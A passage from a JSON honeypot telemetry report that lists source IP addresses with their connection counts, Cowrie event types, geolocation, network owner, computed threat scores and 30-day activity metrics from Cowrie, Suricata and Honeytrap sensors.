        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T06:44:01.280000+00:00",
        "last_seen_30d": "2026-05-21T23:00:10.997000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "209.99.185.239": {
      "attack_count": 3,
      "first_seen": "2026-05-30T21:51:08.913Z",
      "last_seen": "2026-05-30T21:53:08.927Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 402253,
      "as_org": "SKN Subnet & Telecom Ltd",
      "threat_score": 44.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.5,
        "persistence": 11.7,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 14,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-17T19:57:33.814000+00:00",
        "last_seen_30d": "2026-05-30T21:54:16.251000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "47.104.226.85": {
      "attack_count": 3,
      "first_seen": "2026-05-12T20:52:54.442Z",
      "last_seen": "2026-05-12T20:52:57.461Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Qingdao",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T20:52:54.442000+00:00",
        "last_seen_30d": "2026-05-12T21:02:59.961000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "103.93.179.4": {
      "attack_count": 2,
      "first_seen": "2026-05-07T07:24:01.852Z",
      "last_seen": "2026-05-07T07:24:14.266Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 153252,
      "as_org": "ELXIRE",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 5.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T07:23:00+00:00",
        "last_seen_30d": "2026-05-07T07:25:21.073000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2,
        "Honeytrap": 1
      }
    },
    "103.93.33.152": {
      "attack_count": 2,
      "first_seen": "2026-05-12T06:02:11.687Z",
      "last_seen": "2026-05-12T06:04:11.699Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 134785,
      "as_org": "Smart Digital",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T06:02:11.687000+00:00",
        "last_seen_30d": "2026-05-12T06:05:22.002000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.66.228.247": {
      "attack_count": 2,
      "first_seen": "2026-05-14T08:29:51.259Z",
      "last_seen": "2026-05-14T08:30:03.856Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T08:29:51.259000+00:00",
        "last_seen_30d": "2026-05-14T08:31:13.445000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "121.61.25.64": {
      "attack_count": 2,
      "first_seen": "2026-05-07T01:41:33.268Z",
      "last_seen": "2026-05-07T01:41:46.569Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T01:41:33.268000+00:00",
        "last_seen_30d": "2026-05-07T01:42:55.727000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.233.161.99": {
      "attack_count": 2,
      "first_seen": "2026-05-20T20:36:26.725Z",
      "last_seen": "2026-05-20T20:36:38.937Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Huzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T20:36:26.725000+00:00",
        "last_seen_30d": "2026-05-20T20:37:46.810000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.243.79.249": {
      "attack_count": 2,
      "first_seen": "2026-05-08T16:14:23.287Z",
      "last_seen": "2026-05-08T16:14:35.592Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T16:14:23.287000+00:00",
        "last_seen_30d": "2026-05-08T16:15:38.732000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.113.39.207": {
      "attack_count": 2,
      "first_seen": "2026-05-23T16:44:04.371Z",
      "last_seen": "2026-05-23T16:44:17.721Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Yiwu",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T16:44:04.371000+00:00",
        "last_seen_30d": "2026-05-23T16:45:20.626000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.80.139.71": {
      "attack_count": 2,
      "first_seen": "2026-05-23T05:41:53.845Z",
      "last_seen": "2026-05-23T05:42:33.552Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T05:41:53.845000+00:00",
        "last_seen_30d": "2026-05-23T05:43:38.197000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.222.180.175": {
      "attack_count": 2,
      "first_seen": "2026-05-04T17:37:17.165Z",
      "last_seen": "2026-05-04T17:37:29.915Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 263390,
      "as_org": "FNT Telecomunicacoes e Acesso a Redes de Internet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T17:37:17.165000+00:00",
        "last_seen_30d": "2026-05-04T17:38:31.588000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.128.168.189": {
      "attack_count": 2,
      "first_seen": "2026-05-11T16:24:37.687Z",
      "last_seen": "2026-05-11T16:24:50.941Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T16:24:37.687000+00:00",
        "last_seen_30d": "2026-05-11T16:25:52.358000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.196.102.13": {
      "attack_count": 2,
      "first_seen": "2026-05-22T20:40:59.679Z",
      "last_seen": "2026-05-22T20:41:13.118Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 24547,
      "as_org": "Hebei Mobile Communication Company Limited",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:40:59.679000+00:00",
        "last_seen_30d": "2026-05-22T20:42:21.826000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.139.9.248": {
      "attack_count": 2,
      "first_seen": "2026-05-02T16:08:57.445Z",
      "last_seen": "2026-05-02T16:09:09.326Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Ha'il",
      "asn": 39891,
      "as_org": "Saudi Telecom Company JSC",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T16:08:57.445000+00:00",
        "last_seen_30d": "2026-05-02T16:10:14.262000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "212.248.51.235": {
      "attack_count": 2,
      "first_seen": "2026-05-20T21:59:22.807Z",
      "last_seen": "2026-05-20T21:59:37.217Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T21:59:22.807000+00:00",
        "last_seen_30d": "2026-05-20T22:00:40.642000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "221.159.114.178": {
      "attack_count": 2,
      "first_seen": "2026-05-27T18:28:40.049Z",
      "last_seen": "2026-05-27T18:29:10.612Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Iksan",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T18:28:40.049000+00:00",
        "last_seen_30d": "2026-05-27T18:30:20.246000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "27.21.25.136": {
      "attack_count": 2,
      "first_seen": "2026-05-22T21:35:05.454Z",
      "last_seen": "2026-05-22T21:35:38.601Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T21:35:05.454000+00:00",
        "last_seen_30d": "2026-05-22T21:36:41.400000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.21.26.7": {
      "attack_count": 2,
      "first_seen": "2026-05-23T09:06:50.248Z",
      "last_seen": "2026-05-23T09:07:03.627Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T09:06:50.248000+00:00",
        "last_seen_30d": "2026-05-23T09:08:10.318000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.61.237.125": {
      "attack_count": 2,
      "first_seen": "2026-05-02T19:14:46.803Z",
      "last_seen": "2026-05-02T19:14:59.376Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "La Guaira",
      "asn": 272122,
      "as_org": "TELECOMUNICACIONES G-NETWORK, C.A.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T19:14:46.803000+00:00",
        "last_seen_30d": "2026-05-02T19:16:02.074000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "42.242.128.202": {
      "attack_count": 2,
      "first_seen": "2026-05-22T15:59:55.042Z",
      "last_seen": "2026-05-22T16:00:34.305Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T15:59:55.042000+00:00",
        "last_seen_30d": "2026-05-22T16:01:41.250000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.182.178.128": {
      "attack_count": 2,
      "first_seen": "2026-05-04T10:04:53.095Z",
      "last_seen": "2026-05-04T10:05:06.041Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 269250,
      "as_org": "EVOLUCAO TELECOM LTDA",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T10:04:53.095000+00:00",
        "last_seen_30d": "2026-05-04T10:06:14.910000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.239.27.217": {
      "attack_count": 2,
      "first_seen": "2026-05-04T15:14:16.483Z",
      "last_seen": "2026-05-04T15:16:16.484Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Petr\u00f3polis",
      "asn": 268374,
      "as_org": "Telnet Servicos e Comercio em Informatica Ltda.",
      "threat_score": 2.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T15:14:16.483000+00:00",
        "last_seen_30d": "2026-05-04T15:17:57.520000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "47.74.1.209": {
      "attack_count": 2,
      "first_seen": "2026-05-29T06:52:43.533Z",
      "last_seen": "2026-05-29T06:53:14.164Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T06:52:43.533000+00:00",
        "last_seen_30d": "2026-05-29T06:54:23.427000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "49.144.96.209": {
      "attack_count": 2,
      "first_seen": "2026-05-05T11:41:01.349Z",
      "last_seen": "2026-05-05T11:41:14.652Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Dasmari\u00f1as",
      "asn": 9299,
      "as_org": "Philippine Long Distance Telephone Company",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T11:41:01.349000+00:00",
        "last_seen_30d": "2026-05-05T11:42:21.525000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.205.165.177": {
      "attack_count": 2,
      "first_seen": "2026-05-12T06:01:24.303Z",
      "last_seen": "2026-05-12T06:01:36.926Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 131269,
      "as_org": "Atria Convergence Technologies Ltd.",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T06:01:24.303000+00:00",
        "last_seen_30d": "2026-05-12T06:02:42.794000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.107.49.150": {
      "attack_count": 2,
      "first_seen": "2026-05-03T03:05:37.568Z",
      "last_seen": "2026-05-03T03:05:51.894Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Sharjah",
      "asn": 5384,
      "as_org": "Emirates Telecommunications Group Company (etisalat Group) Pjsc",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T03:05:37.568000+00:00",
        "last_seen_30d": "2026-05-03T03:07:01.604000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "54.153.119.148": {
      "attack_count": 2,
      "first_seen": "2026-05-30T17:58:56.270Z",
      "last_seen": "2026-05-30T17:59:06.565Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T17:58:56.270000+00:00",
        "last_seen_30d": "2026-05-30T18:00:09.659000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.11.156.28": {
      "attack_count": 2,
      "first_seen": "2026-05-17T03:31:56.926Z",
      "last_seen": "2026-05-17T03:32:09.172Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 17552,
      "as_org": "True Online",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T03:31:56.926000+00:00",
        "last_seen_30d": "2026-05-17T03:33:16.632000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "70.49.0.20": {
      "attack_count": 2,
      "first_seen": "2026-05-11T03:11:13.155Z",
      "last_seen": "2026-05-11T03:11:27.531Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
